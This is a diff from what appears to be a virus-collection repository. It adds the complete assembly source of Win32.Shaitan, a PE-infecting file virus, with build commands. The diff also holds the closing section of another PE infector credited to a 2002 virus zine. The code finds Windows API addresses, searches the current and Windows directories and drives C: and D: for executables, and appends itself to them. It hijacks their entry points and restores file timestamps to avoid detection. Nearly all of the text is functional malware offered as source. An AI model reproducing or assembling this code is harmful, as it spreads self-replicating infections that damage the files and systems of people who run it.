||||
; jb short ThreadNoFixCallback
|
||||
; add [edi].thread_CallbackTableVA, ebx
|
||||
;ThreadNoFixCallback:
|
||||
; sub eax, [edx].ImageBase
|
||||
; call RVA2Addr
|
||||
|
||||
NoThreadStorage:
|
||||
|
||||
; Fiddle with entry point
|
||||
mov [edx].MinorLinkerVersion, 7
|
||||
mov ecx, [edx].AddressOfEntryPoint
|
||||
mov eax, [ebp+VirusRVA]
|
||||
mov [edx].AddressOfEntryPoint, eax ; Set new entry point
|
||||
add eax, offset HostFileEntryPoint - offset VirStart
|
||||
sub ecx, 4
|
||||
sub ecx, eax
|
||||
call RVA2Addr
|
||||
mov [eax], ecx ; Fix Jump to host in mem map
|
||||
|
||||
|
||||
; Checklist:
|
||||
; ---------
|
||||
; Fix up Exports (0) done
|
||||
; Fix up Imports (1) done
|
||||
; Fix up Resource (2) done
|
||||
; Fix up Exception (3)
|
||||
; Fix up Security (4)
|
||||
; Fix up Reloc (5) done
|
||||
; Fix up Debug (6) zeroed
|
||||
; Fix up Description/Architecture (7) done?
|
||||
; Fix up Machine Value (8)
|
||||
; Fix up ThreadStorage (9) done by reloc fixup?
|
||||
; Fix up LoadConfiuration (10)
|
||||
; Fix up Bound Import (11)
|
||||
; Fix up Import Address Table (12) done by imports fixup
|
||||
; Fix up Delay Import (13)
|
||||
; Fix up COM Runtime Descriptor (14)
|
||||
|
||||
InfectableNo:
|
||||
UnmapAndClose:
|
||||
call [ebp+_UnmapViewOfFile]
|
||||
call [ebp+_CloseHandle]
|
||||
mov ebx, [esp] ; Reset File Size
|
||||
call [ebp+_SetFilePointer], ebx, [ebp+FileFind].fd_nFileSizeLow, 0, FILE_BEGIN
|
||||
call [ebp+_SetEndOfFile], ebx
|
||||
lea eax, [ebp+FileFind].fd_ftCreationTime
|
||||
lea ecx, [ebp+FileFind].fd_ftLastAccessTime
|
||||
lea edx, [ebp+FileFind].fd_ftLastWriteTime
|
||||
call [ebp+_SetFileTime], ebx, eax,ecx,edx
|
||||
CloseAndExitInfector:
|
||||
call [ebp+_CloseHandle]
|
||||
FindTheNextFile:
|
||||
lea eax, [ebp+FileFind]
|
||||
call [ebp+_FindNextFileA], dword ptr [ebp+FileFindHnd], eax
|
||||
or eax, eax
|
||||
jnz InfectNextFile
|
||||
|
||||
ExitInfector:
|
||||
mov esp, ebp
|
||||
pop ebp
|
||||
db 0E9h ; jmp VirEnd (full displacement)
|
||||
HostFileEntryPoint:
|
||||
dd offset VirEnd - offset HostFileEntryPoint - 4
|
||||
|
||||
; Fix up resource
|
||||
; edi = base address of resource
|
||||
; edx = current shit
|
||||
; ebx = reloc amount
|
||||
FixupResource:
|
||||
push eax
|
||||
push ecx
|
||||
push edx
|
||||
movzx ecx, [edx].res_NumNameEntry
|
||||
movzx eax, [edx].res_NumIDEntry
|
||||
add ecx, eax
|
||||
add edx, size RESOURCETABLE
|
||||
FixResourceLoop:
|
||||
; no need to mess with [edx].resent_ID
|
||||
; it's either an 31-bit integer or the top bit is set and it's a
|
||||
; relative displacement from the resource base address
|
||||
FixResourceIsID:
|
||||
mov eax, [edx].resent_Next
|
||||
or eax, eax
|
||||
js short FixResourceRecurse
|
||||
add [edi+eax], ebx ; Fix RVA
|
||||
jmp short FixResourceNext
|
||||
FixResourceRecurse:
|
||||
btc eax,31 ; kill top bit
|
||||
push edx ; save current position
|
||||
lea edx, [edi+eax] ; find pos of next res dir
|
||||
call FixupResource ; Recursively fix
|
||||
pop edx
|
||||
FixResourceNext:
|
||||
add edx, size RESOURCEENTRY
|
||||
loop FixResourceLoop
|
||||
pop edx
|
||||
pop ecx
|
||||
pop eax
|
||||
ret
|
||||
|
||||
|
||||
; From RVA calculate Physical offset
|
||||
; Enter
|
||||
; eax = RVA
|
||||
; esi = Start Of Memory mapped PE file.
|
||||
; Leave:
|
||||
; eax = Mem map Address
|
||||
RVA2Addr:
|
||||
push ebx
|
||||
push edx
|
||||
push ecx
|
||||
push esi
|
||||
push edi
|
||||
movzx edi, word ptr [esi+3Ch]
|
||||
add edi, esi
|
||||
movzx edx, [edi].SizeOfOptionalHeader
|
||||
movzx ecx, [edi].NumberOfSections
|
||||
lea edx, [edi+edx+18h] ; Start of Section table
|
||||
mov ebx, [edx].sec_VirtualAddress
|
||||
mov esi, [edx].sec_PointerToRawData
|
||||
SectionLoop1:
|
||||
cmp ebx, [edx].sec_VirtualAddress
|
||||
jae short SkipSecLoop1
|
||||
cmp eax, [edx].sec_VirtualAddress
|
||||
jb short SkipSecLoop1
|
||||
mov ebx, [edx].sec_VirtualAddress
|
||||
mov esi, [edx].sec_PointerToRawData
|
||||
SkipSecLoop1:
|
||||
add edx, size SECTION
|
||||
loop SectionLoop1
|
||||
sub eax, ebx
|
||||
add eax, esi
|
||||
pop edi
|
||||
pop esi
|
||||
add eax, esi
|
||||
pop ecx
|
||||
pop edx
|
||||
pop ebx
|
||||
ret
|
||||
|
||||
|
||||
VirEnd:
|
||||
call ExitProcess, 0
|
||||
end start
|
||||
|
||||
COMMENT ` ---------------------------------------------------------------- )=-
|
||||
-=( Natural Selection Issue #1 --------------- (c) 2002 Feathered Serpents )=-
|
||||
-=( ---------------------------------------------------------------------- ) `
|
2850
Win32/Win32.Seraph.asm
Normal file
2850
Win32/Win32.Seraph.asm
Normal file
File diff suppressed because it is too large
Load Diff
923
Win32/Win32.Shaitan.asm
Normal file
923
Win32/Win32.Shaitan.asm
Normal file
@ -0,0 +1,923 @@
|
||||
;----------------------------------------------------------------------------
|
||||
; Win32.Shaitan (C)opyright 1998 The Shaitan [SLAM]
|
||||
;
|
||||
;
|
||||
; Win32.Shaitan is a non-resident infector of Windows 9x/NT/32s Portable
|
||||
; Executable (PE) files.
|
||||
;
|
||||
;
|
||||
; Description
|
||||
; -----------
|
||||
; When a file infected by Win32.Shaitan is executed, the virus looks up
|
||||
; the current process' Import table for the address of GetModuleHandle API
|
||||
; function. If located, the API function will be called to retrieve the base
|
||||
; address of KERNEL32.DLL. Otherwise, a hard-coded address (0xbff70000)
|
||||
; will be assumed. Next, using this address, the virus scans the Export Table
|
||||
; of KERNEL32.DLL for the address of the GetProcAddress API function. Finally
|
||||
; using this function the virus obtains addresses of all other API functions
|
||||
; it needs (e.g CreateFileA, FindFirstFileA etc). The virus searches for and
|
||||
; infects files in the following order:
|
||||
; - Current Directory
|
||||
; - Windows base directory
|
||||
; - Directories in C:\
|
||||
; - Directories in D:\ (after checking whether it's a CDROM drive)
|
||||
; The file encrypts its data using a simple xor operation with 0xFF as key.
|
||||
; Files are infected by appending the virus to the last section in the file
|
||||
; and increasing its size. The virus uses memory-mapped files to improve
|
||||
; performance. Infected files will grow by about 3k.
|
||||
;
|
||||
; Umm, that's about all folks! This is my first Win32 virus, so if something
|
||||
; doesnt work, well... maybe next time :) The code is heavily commented, so
|
||||
; it should be easy enough to follow (if you can't... dont ask me, i can't
|
||||
; really follow it either! ;)
|
||||
;
|
||||
; Disclaimer
|
||||
; ----------
|
||||
; THIS CODE IS MEANT FOR EDUCATIONAL PURPOSES ONLY. THE AUTHOR CANNOT BE HELD
|
||||
; RESPONSIBLE FOR ANY DAMAGE CAUSED DUE TO USE, MISUSE OR INABILITY TO USE
|
||||
; THE SAME.
|
||||
;
|
||||
; To compile, use:
|
||||
; ----------------
|
||||
; tasm32 /ml /m5 shaitan.asm
|
||||
; tlink32 /c /Tpe /aa shaitan.obj, shaitan.exe, ,c:\tasm\lib\import32.lib
|
||||
; pewrsec shaitan.exe
|
||||
;
|
||||
;----------------------------------------------------------------------------
|
||||
|
||||
.386p
|
||||
.model flat
|
||||
|
||||
;----------------------------------------------------------------------------
|
||||
; Some equates to make our code more readable :)
|
||||
;----------------------------------------------------------------------------
|
||||
|
||||
L equ
|
||||
GENERIC_READ equ 80000000h
|
||||
GENERIC_WRITE equ 40000000h
|
||||
GENERIC_READ_WRITE equ GENERIC_READ or GENERIC_WRITE
|
||||
OPEN_EXISTING equ 00000003h
|
||||
FILE_SHARE_READ equ 00000001h
|
||||
FILE_ATTRIBUTE_NORMAL equ 00000080h
|
||||
FILE_ATTRIBUTE_DIRECTORY equ 00000010h
|
||||
PAGE_READWRITE equ 00000004h
|
||||
PAGE_WRITECOPY equ 00000008h
|
||||
FILE_MAP_WRITE equ 00000002h
|
||||
FILE_BEGIN equ 00000000h
|
||||
DRIVE_CDROM equ 00000005h
|
||||
|
||||
MAX_INFECT equ 00000005h ; Max. files to infect
|
||||
; at one go...
|
||||
|
||||
FILETIME struc
|
||||
dwLowDateTime dd ?
|
||||
dwHighDateTime dd ?
|
||||
FILETIME ends
|
||||
|
||||
WIN32_FIND_DATA struc
|
||||
dwFileAttributes dd ?
|
||||
ftCreationTime FILETIME ?
|
||||
ftLastAccessTime FILETIME ?
|
||||
ftLastWriteTime FILETIME ?
|
||||
nFileSizeHigh dd ?
|
||||
nFileSizeLow dd ?
|
||||
dwReserved0 dd ?
|
||||
dwReserved1 dd ?
|
||||
cFileName db 260 dup (?)
|
||||
cAlternateFileName db 14 dup (?)
|
||||
WIN32_FIND_DATA ends
|
||||
|
||||
code_len equ v_end - v_start
|
||||
|
||||
;----------------------------------------------------------------------------
|
||||
; Functions imported by Generation-1 -
|
||||
;----------------------------------------------------------------------------
|
||||
|
||||
extrn GetModuleHandleA:PROC
|
||||
extrn ExitProcess:PROC
|
||||
|
||||
;----------------------------------------------------------------------------
|
||||
; Some dummy data for Generation-1 -
|
||||
;----------------------------------------------------------------------------
|
||||
.data
|
||||
dummy_data db "SLAM Roqs!"
|
||||
|
||||
;----------------------------------------------------------------------------
|
||||
; CODE section -
|
||||
;----------------------------------------------------------------------------
|
||||
.code
|
||||
v_start:
|
||||
db 0b8h ; mov eax,xxxx where xxxx
|
||||
rva_eip dd 1000h ; is RVA of EIP (patched at
|
||||
; infection time)
|
||||
|
||||
call get_delta ; Call next instruction
|
||||
get_delta:
|
||||
pop ebp ; Pop out address from stack
|
||||
mov ebx,ebp ; Save it in EBX
|
||||
sub ebp,offset get_delta ; EBP = Delta pointer!
|
||||
|
||||
sub ebx,eax ; Deduct RVA of EIP
|
||||
sub ebx,0Ah ; EBX = Base address of module
|
||||
|
||||
push ebx ; Not really required, but...
|
||||
call crypt ; Decrypt virus data
|
||||
pop ebx ; Get saved EBX back
|
||||
|
||||
mov [module_base+ebp],ebx ; Save module base
|
||||
mov [kernel32+ebp],0bff70000h ; Umm... Default address
|
||||
; of KERNEL32.DLL (?)
|
||||
|
||||
; Now we try to retrieve the address of GetModuleHandleA from the current
|
||||
; process's Import table...
|
||||
get_GMHA:
|
||||
mov esi,[module_base+ebp] ; ESI = Base address of process.
|
||||
cmp word ptr [esi],'ZM' ; Is the base correctly assumed?.
|
||||
jne get_GPA ; No. Quit...
|
||||
|
||||
xor eax,eax ; EAX = 0
|
||||
mov ax, word ptr [esi+3ch] ; Get RVA of PE header.
|
||||
cmp ax,0 ; No pointer to PE offset?
|
||||
je get_GPA ; No. Can't continue...
|
||||
mov esi,eax ; ESI = RVA of PE offset
|
||||
add esi,[module_base+ebp] ; Convert RVA to VA.
|
||||
cmp word ptr [esi],'EP' ; Is the PE header there?.
|
||||
jne get_GPA ; Nope. Quit...
|
||||
|
||||
mov esi,[esi+80h] ; RVA of .idata section
|
||||
add esi,[module_base+ebp] ; ESI = Start of .idata section
|
||||
|
||||
; Now, find the IMAGE_IMPORT_DESCRIPTOR for KERNEL32.DLL imports
|
||||
mov eax,esi ; EAX = Start of .idata
|
||||
find_ik32:
|
||||
mov esi,eax ; ESI = First/next IMPORT_DESCRIPTOR.
|
||||
mov esi,[esi+0ch] ; RVA of imported module ASCIIZ string
|
||||
add esi,[module_base+ebp] ; RVA >> VA
|
||||
cmp [esi],'NREK' ; IMPORT_DESCRIPTOR for K32?
|
||||
je ik32_found ; Yes, we found it!
|
||||
add eax,14h ; EAX = Next IMPORT_DESCRIPTOR.
|
||||
jmp find_ik32 ; Loop till found...
|
||||
ik32_found:
|
||||
mov esi,eax ; ESI = K32 IMPORT_DESCRIPTOR.
|
||||
mov ebx,[esi+10h] ; Get RVA of IMAGE_THUNK_DATA array.
|
||||
add ebx,[module_base+ebp] ; RVA >> VA.
|
||||
cmp dword ptr [esi],0 ; NULL "OriginalFirstThunk" field?
|
||||
je get_GPA ; Yes, No hint-name table then :(
|
||||
mov esi,[esi] ; Pointer to pointer!
|
||||
add esi,[module_base+ebp] ; RVA >> VA
|
||||
mov edx,esi ;
|
||||
xor eax,eax ; Init EAX (for use as an index).
|
||||
|
||||
iAPI_loop:
|
||||
cmp dword ptr [edx],0 ; No more RVAs?
|
||||
je get_GPA ; Yes. Jump...
|
||||
cmp byte ptr [edx+3],80h ; Ordinal?
|
||||
je inc_ndx ; Yes. Skip...
|
||||
mov esi,[edx] ; " " " " "
|
||||
add esi,[module_base+ebp] ; " " " " "
|
||||
add esi,2 ; ESI = Start of ASCIIZ API name.
|
||||
mov ecx,GMH_string_len ; ECX = Length of string (API name).
|
||||
mov edi,offset GMH_string ; EDI = String to compare with.
|
||||
add edi,ebp ;
|
||||
compare:
|
||||
repe cmpsb ; Compare the 2 strings...
|
||||
cmp ecx,0 ; Match found?
|
||||
je API_found ; Yes! Jump...
|
||||
inc_ndx:
|
||||
inc eax ; No. Increment our index.
|
||||
add edx,4 ;
|
||||
jmp iAPI_loop ; Continue looping...
|
||||
API_found:
|
||||
shl eax,2 ; Multiply by 4.
|
||||
; We had saved VA of IMAGE_THUNK_DATA array in EBX. Remember?
|
||||
add eax,ebx ; Point to corresponding element.
|
||||
mov eax,[eax] ; EAX = API call address
|
||||
|
||||
mov ebx,offset k32_string ; Offset of "KERNEL32.DLL" string
|
||||
add ebx,ebp ; Adjust with delta
|
||||
push ebp ; Save our delta pointer
|
||||
push ebx ; Push parameter on the stack
|
||||
call eax ; Call GetModuleHandleA
|
||||
pop ebp ; Restore our delta pointer
|
||||
|
||||
mov [kernel32+ebp],eax ; Save address of KERNEL32.DLL
|
||||
|
||||
get_GPA:
|
||||
mov esi,[kernel32+ebp] ; Point ESI to K32 base address
|
||||
cmp word ptr [esi],'ZM' ; Is K32 really there?
|
||||
jne quit ; Nope. Bail out now!
|
||||
|
||||
xor eax,eax ; EAX = 0
|
||||
mov ax,word ptr [esi+3ch] ; Get RVA of PE header pointer.
|
||||
cmp ax,0 ; No pointer to PE offset?
|
||||
je quit ; No. Can't continue...
|
||||
mov esi,eax ; ESI = RVA of PE offset
|
||||
add esi,[kernel32+ebp] ; Convert RVA to VA.
|
||||
cmp word ptr [esi],'EP' ; Is the PE header there?
|
||||
jne quit ; Naw. Cannot continue...
|
||||
|
||||
mov eax,[esi+78h] ; PE hdr offset 78h points to .edata.
|
||||
add eax,[kernel32+ebp] ; Convert RVA to VA.
|
||||
xchg eax,esi ; Put VA back into ESI.
|
||||
|
||||
mov eax,[esi+14h] ; Get # of functions exported by K32
|
||||
mov [NumberOfFunctions+ebp],eax ; Save.
|
||||
|
||||
mov eax,[esi+1ch] ; RVA of table of exported function
|
||||
; addresses.
|
||||
add eax,[kernel32+ebp] ; Convert RVA to VA.
|
||||
mov [AddressOfFunctions+ebp],eax ; Save.
|
||||
|
||||
mov eax,[esi+20h] ; RVA of table containing API name
|
||||
; strings.
|
||||
add eax,[kernel32+ebp] ; Convert RVA to VA.
|
||||
mov [AddressOfNames+ebp],eax ; Save.
|
||||
|
||||
mov eax,[esi+24h] ; RVA of table of export ordinals of
|
||||
; all functions exported by name.
|
||||
add eax,[kernel32+ebp] ; Convert RVA to VA.
|
||||
mov [AddressOfOrdinals+ebp],eax ; Save.
|
||||
|
||||
xor eax,eax ; EAX = 0.
|
||||
mov ebx,[NumberOfFunctions+ebp] ; Use EBX as a counter.
|
||||
apisearch_loop:
|
||||
mov esi,offset GPA_string ; API function to search for...
|
||||
add esi,ebp ; Adjust with delta pointer...
|
||||
mov ecx,GPA_string_len ; Length of API function name string.
|
||||
mov edi,[AddressOfNames+ebp]; Point to start of table containing
|
||||
add edi,eax ; API function name strings...
|
||||
mov edi,[edi] ; " " " " "
|
||||
add edi,[kernel32+ebp] ; " " " " "
|
||||
cld ; Clear direction flag.
|
||||
repe cmpsb ; Compare the two strings.
|
||||
cmp ecx,0 ; Exact match found?.
|
||||
je match ; Yes! Jump...
|
||||
dec ebx ; Decrement our counter.
|
||||
cmp ebx,0 ; Have we gone thru entire table?.
|
||||
je quit ; Yes. API not found! Bail out...
|
||||
add eax,4 ; No. Lets compare the next string.
|
||||
jmp apisearch_loop ; Continue looping...
|
||||
match:
|
||||
shr eax,1 ; Divide by 2 (array is of WORDs).
|
||||
add eax,[AddressOfOrdinals+ebp] ; Point to relevant element in array.
|
||||
xor ebx,ebx ; EBX = 0.
|
||||
mov bx,word ptr [eax] ; Get our index into AddressOfFuncs.
|
||||
shl ebx,2 ; Multiply by 4 (array is of DWORDs).
|
||||
add ebx,[AddressOfFunctions+ebp]; Point to relevant element in array.
|
||||
mov eax,[ebx] ; EAX = RVA of API function address.
|
||||
add eax,[kernel32+ebp] ; EAX = Address of API function!!!
|
||||
|
||||
mov [_GetProcAddress+ebp],eax ; Save address...
|
||||
|
||||
; Now we retrieve the addresses of all API functions that we'll be using...
|
||||
Get_API_addresses:
|
||||
mov edi,offset API_strings ; Point to ASCIIZ string table
|
||||
add edi,ebp ; Adjust with delta pointer...
|
||||
|
||||
APIaddress_loop:
|
||||
push edi ; Save offset of ASCIIZ API name
|
||||
push edi ; Push onto stack for API call
|
||||
call GetAPIAddress ; Retrieve address of API function
|
||||
pop edi ; Restore address of ASCIIZ string
|
||||
push eax ; Save address of API function
|
||||
xor eax,eax ; EAX = 0
|
||||
repne scasb ; Search for end of string
|
||||
pop eax ; Restore address of API function
|
||||
mov [edi],eax ; Save it...
|
||||
add edi,4 ; Point to next ASCIIZ API string
|
||||
cmp [edi],'SLAM' ; Was that the last string?
|
||||
jne APIaddress_loop ; No. Loop till done...
|
||||
|
||||
push ebp ; Save delta pointer
|
||||
mov eax,offset start_dir ; Buffer to store directory name
|
||||
add eax,ebp ; Adjust with delta pointer
|
||||
push eax ; Push parameter on stack
|
||||
push L 128 ; Length of dirname buffer
|
||||
mov eax,[_GetCurrentDirectory+ebp] ; Address of API to call
|
||||
call eax ; Call API
|
||||
pop ebp ; Restore delta pointer
|
||||
|
||||
call InfectCurrentDirectory ; Infect files in starting directory
|
||||
cmp [infect_counter+ebp],MAX_INFECT ; Max. # of files infected?
|
||||
je restore_start_dir ; Yes. Quit...
|
||||
|
||||
push ebp ; Save delta
|
||||
push L 128 ; Length of dir buffer
|
||||
mov eax,offset win_dir ; Location of dir buffer
|
||||
add eax,ebp ; Adjust...
|
||||
push eax ; Push location of buffer
|
||||
mov eax,[_GetWindowsDirectory+ebp] ; API to call
|
||||
call eax ; Call API function
|
||||
pop ebp ; Restore delta
|
||||
mov eax,offset win_dir ; EAX = ASCIIZ windows dir name
|
||||
add eax,ebp ; Adjust...
|
||||
call SetDir ; Change directory to windows dir
|
||||
call InfectCurrentDirectory ; Infect files in it...
|
||||
cmp [infect_counter+ebp],MAX_INFECT ; Max. # of files infected?
|
||||
je restore_start_dir ; Yes. Quit...
|
||||
|
||||
mov eax,offset root_dir_c ; Infect all dirs in C:\
|
||||
add eax,ebp ; Adjust...
|
||||
call Search&InfectDirs ; Infect...
|
||||
cmp [infect_counter+ebp],MAX_INFECT ; Max. # of files infected?
|
||||
je restore_start_dir ; Yes. Quit...
|
||||
|
||||
push ebp ; Save delta
|
||||
mov eax,offset root_dir_d ; ASCIIZ D:\
|
||||
add eax,ebp ; Adjust with delta
|
||||
push eax ; Push onto stack
|
||||
mov eax,[_GetDriveType+ebp] ; API function to call
|
||||
call eax ; Call API
|
||||
pop ebp ; Restore delta
|
||||
cmp eax,DRIVE_CDROM ; Is this a CDROM drive?
|
||||
je restore_start_dir ; Yes. Do not try to infect!
|
||||
cmp eax,0 ; Drive type undeterminable?
|
||||
je restore_start_dir ; Yes. Let's play it safe...
|
||||
|
||||
mov eax,offset root_dir_d ; Infect all dirs in D:\
|
||||
add eax,ebp ; Adjust...
|
||||
call Search&InfectDirs ; Infect...
|
||||
|
||||
restore_start_dir:
|
||||
mov eax,offset start_dir ; Name of starting directory
|
||||
add eax,ebp ; Adjust...
|
||||
call SetDir ; Set directory back to start dir
|
||||
|
||||
quit:
|
||||
push ebp ; Save delta pointer
|
||||
mov eax,[_GetCommandLine+ebp] ; Address of API to call
|
||||
call eax ; Call API
|
||||
pop ebp ; Restore delta pointer
|
||||
mov edi,eax ; EDI = Address of cmdline
|
||||
inc edi ; Inc by one (skip the ")
|
||||
mov ecx,80h ; Search upto 80h bytes
|
||||
mov eax,'"' ; Search for "
|
||||
cmp byte ptr [edi-1],'"' ; Was the first byte a " ?
|
||||
je find_end_cmdline ; Yes. Continue...
|
||||
mov eax,' ' ; No. Look for a space then
|
||||
find_end_cmdline:
|
||||
repne scasb ; Search for end of string
|
||||
cmp dword ptr [edi-12],'IAHS' ; G-1? ("SHAITAN.EXE")
|
||||
je g1_quit ; Yup. Exit normally...
|
||||
|
||||
jump_to_host:
|
||||
mov eax,[module_base+ebp] ; Get module's base address
|
||||
add eax,[ori_ip+ebp] ; Add original EIP to it
|
||||
push eax ; Remember .COM infection? :)
|
||||
ret ; Jump to the original EIP!
|
||||
|
||||
g1_quit:
|
||||
xor eax,eax ; EAX = 0 = Return value
|
||||
push eax ; Push parameter on stack
|
||||
call ExitProcess ; Call API to quit
|
||||
|
||||
;----------------------------------------------------------------------------
|
||||
; GetAPIAddress - Calls GetProcAddress to retrieve address of API function
|
||||
; pointed to by EDI.
|
||||
;
|
||||
; Return value: EAX = Address of API function
|
||||
;----------------------------------------------------------------------------
|
||||
GetAPIAddress:
|
||||
push ebp ; Save our delta pointer
|
||||
push edi ; EAX = ASCIIZ API string
|
||||
mov eax,[kernel32+ebp] ; KERNEL32 base address
|
||||
push eax ; " " " "
|
||||
mov eax,[_GetProcAddress+ebp] ; Address of API to call
|
||||
call eax ; Call API function
|
||||
pop ebp ; Restore delta pointer
|
||||
ret ; Return to caller
|
||||
|
||||
;----------------------------------------------------------------------------
|
||||
; SetDir - Sets current directory to string pointed to by EAX
|
||||
;----------------------------------------------------------------------------
|
||||
SetDir:
|
||||
push ebp ; Save delta pointer
|
||||
push eax ; Push parameter on stack
|
||||
mov eax,[_SetCurrentDirectory+ebp] ; Address of API to call
|
||||
call eax ; Call API
|
||||
pop ebp ; Restore delta pointer
|
||||
ret ; Return to caller
|
||||
|
||||
;----------------------------------------------------------------------------
|
||||
; InfectFile - Infects filename specified in "testfile" variable
|
||||
;
|
||||
; Return value: On success >> 1
|
||||
; On failure >> 0
|
||||
;----------------------------------------------------------------------------
|
||||
InfectFile:
|
||||
mov [infect_status+ebp],0 ; Init. flag
|
||||
|
||||
push ebp ; Save delta
|
||||
push [testfile+ebp] ; ASCIIZ filename
|
||||
mov eax,[_GetFileAttributes+ebp] ; API to call
|
||||
call eax ; Retrieve original attributes
|
||||
pop ebp ; Restore delta
|
||||
cmp eax,0ffffffffh ; Failure?
|
||||
je infect_end ; Yes. Cannot continue...
|
||||
mov [ori_attrib+ebp],eax ; Save original attributes
|
||||
|
||||
push ebp ; Save delta
|
||||
push FILE_ATTRIBUTE_NORMAL ; Remove all attributes
|
||||
push [testfile+ebp] ; ASCIIZ filename
|
||||
mov eax,[_SetFileAttributes+ebp] ; API to call
|
||||
call eax ; Remove read-only etc attrib
|
||||
pop ebp ; Restore delta
|
||||
cmp eax,0 ; Failure?
|
||||
je infect_end ; Yes. Cannot continue...
|
||||
|
||||
open_file:
|
||||
push ebp ; Save delta pointer
|
||||
push L 0 ; Template file (?)
|
||||
push FILE_ATTRIBUTE_NORMAL ; Attribute of file
|
||||
push OPEN_EXISTING ; Open an existing file
|
||||
push L 0 ; Security Attributes
|
||||
push FILE_SHARE_READ ; Share mode
|
||||
push GENERIC_READ_WRITE ; Access mode
|
||||
push [testfile+ebp] ; ASCIIZ Filename
|
||||
mov eax,[_CreateFileA+ebp] ; Address of API call
|
||||
call eax ; Call API to open file
|
||||
pop ebp ; Restore delta pointer
|
||||
|
||||
cmp eax,0FFFFFFFFh ; File open failed?
|
||||
je infect_end ; Yes. Cannot proceed...
|
||||
mov [file_handle+ebp],eax ; Save file handle
|
||||
|
||||
create_file_map:
|
||||
add [new_filesize+ebp],code_len + 400h ; Inc. by this many bytes
|
||||
|
||||
push ebp ; Save delta pointer
|
||||
push L 0 ; Name of mapping object
|
||||
push [new_filesize+ebp] ; Max size of mapping object
|
||||
push L 0 ; " " " "
|
||||
push PAGE_READWRITE ; Read/Write access
|
||||
push L 0 ; Security attributes
|
||||
push [file_handle+ebp] ; Handle of file to map
|
||||
mov eax,[_CreateFileMappingA+ebp] ; Address of API call
|
||||
call eax ; Call API to map file
|
||||
pop ebp ; Restore delta pointer
|
||||
|
||||
cmp eax,0 ; File mapping failed?
|
||||
je close_file ; Yes. Cannot proceed...
|
||||
mov [map_handle+ebp],eax ; Save mapping object handle
|
||||
|
||||
create_map_view:
|
||||
push ebp ; Save delta pointer
|
||||
push [new_filesize+ebp] ; No. of bytes to map
|
||||
push L 0 ; File offset (low)
|
||||
push L 0 ; File offset (high)
|
||||
push FILE_MAP_WRITE ; Read/Write access
|
||||
push [map_handle+ebp] ; Handle to mapping object
|
||||
mov eax,[_MapViewOfFile+ebp] ; Address of API call
|
||||
call eax ; Create a map file view
|
||||
pop ebp ; Restore delta pointer
|
||||
|
||||
cmp eax,0 ; Couldn't create map file view?
|
||||
je close_map ; Yes. Cannot proceed...
|
||||
mov [view_address+ebp],eax ; Address of map view
|
||||
|
||||
fun_stuff:
|
||||
mov eax,[ori_ip+ebp] ; Get original EIP of host
|
||||
mov [temp_ip+ebp],eax ; Save it in a temp. variable
|
||||
|
||||
mov esi,[view_address+ebp] ; Get address of map view
|
||||
cmp word ptr [esi],'ZM' ; Is it an EXE file?
|
||||
jne close_view ; No. Cannot proceed...
|
||||
|
||||
cmp word ptr [esi+12h],'SW' ; Already infected?
|
||||
je close_view ; Yes. Quit...
|
||||
mov word ptr [esi+12h],'SW' ; Otherwise mark as infected
|
||||
|
||||
xor eax,eax ; EAX = 0
|
||||
mov ax,word ptr [esi+3ch] ; Get pointer to PE header
|
||||
cmp ax,0 ; No pointer to PE offset?
|
||||
je close_view ; No. Jump...
|
||||
cmp eax,[adj_filesize+ebp] ; Compare with actual filesize
|
||||
jae close_view ; Greater? (Happened once!)
|
||||
mov esi,eax ; ESI = RVA of PE ofset
|
||||
add esi,[view_address+ebp] ; Convert to VA
|
||||
cmp word ptr [esi],'EP' ; Is the PE header present?
|
||||
jne close_view ; No. Cannot proceed...
|
||||
mov [PE_hdr+ebp],esi ; Save VA of PE header
|
||||
; Now ESI contains address of PE header...
|
||||
mov eax,[esi+28h] ; Get original entry point RVA
|
||||
mov [ori_ip+ebp],eax ; Save it...
|
||||
mov eax,[esi+3ch] ; Get file align value
|
||||
mov [file_align+ebp],eax ; Save it...
|
||||
|
||||
mov ebx,[esi+74h] ; # of entries in IMG_DATA_DIR
|
||||
shl ebx,3 ; Multiply by 8
|
||||
xor eax,eax ; EAX = 0
|
||||
mov ax,word ptr [esi+6h] ; No. of sections in file
|
||||
dec eax ; Decrease by one
|
||||
mov ecx,28h ; Size of IMAGE_SECTION_HDR
|
||||
mul ecx ; Multiply...
|
||||
add esi,78h ; ESI = Addr. of IMG_DATA_DIR
|
||||
add esi,ebx ; ESI = Addr. of section table
|
||||
add esi,eax ; ESI = Addr. of last entry
|
||||
|
||||
; Now ESI is pointing to last entry in section table (usually .reloc)
|
||||
|
||||
; Modify the section characteristics flags... (+CEW)
|
||||
or dword ptr [esi+24h],00000020h ; Section now contains CODE
|
||||
or dword ptr [esi+24h],20000000h ; Section is now EXECUTABLE
|
||||
or dword ptr [esi+24h],80000000h ; Section is now WRITEABLE
|
||||
|
||||
mov eax,[esi+10h] ; Get SizeOfRawdata
|
||||
mov [ori_size_of_rawdata+ebp],eax ; Save it...
|
||||
|
||||
add dword ptr [esi+8h],code_len ; Inc size of VirtualSize
|
||||
|
||||
mov eax,[esi+8h] ; Get new size in EAX
|
||||
mov ecx,[file_align+ebp] ; ECX = File alignment
|
||||
div ecx ; Get remainder in EDX
|
||||
mov ecx,[file_align+ebp] ; ECX = File alignment
|
||||
sub ecx,edx ; No. of bytes to pad...
|
||||
mov [esi+10h],ecx ; " " " "
|
||||
mov eax,[esi+8h] ; Get current VirtualSize
|
||||
add eax,[esi+10h] ; EAX = SizeOfRawdata padded
|
||||
mov [esi+10h],eax ; Set new SizeOfRawdata
|
||||
mov [size_of_rawdata+ebp],eax ; Also, save it...
|
||||
|
||||
mov eax,[esi+0ch] ; Get VirtualAddress
|
||||
add eax,[esi+8h] ; Add VirtualSize
|
||||
sub eax,code_len ; Deduct size of virus
|
||||
mov [new_ip+ebp],eax ; EAX = New EIP! Save it...
|
||||
mov [rva_eip+ebp],eax ; Patch...
|
||||
|
||||
mov eax,[ori_size_of_rawdata+ebp] ; Original SizeOfRawdata
|
||||
mov ebx,[size_of_rawdata+ebp] ; New SizeOfRawdata
|
||||
sub ebx,eax ; Increase in size
|
||||
mov [inc_size_of_rawdata+ebp],ebx ; Save increase value...
|
||||
mov eax,[esi+14h] ; File offset of sec's rawdata
|
||||
add eax,[size_of_rawdata+ebp] ; Add size of new rawdata
|
||||
mov [new_filesize+ebp],eax ; EAX = New filesize! Save...
|
||||
mov [adj_filesize+ebp],eax ;
|
||||
|
||||
mov eax,[esi+14h] ; File offset of sec's rawdata
|
||||
add eax,[esi+8h] ; Add VirtualSize of section
|
||||
sub eax,code_len ; Deduct virus length from it
|
||||
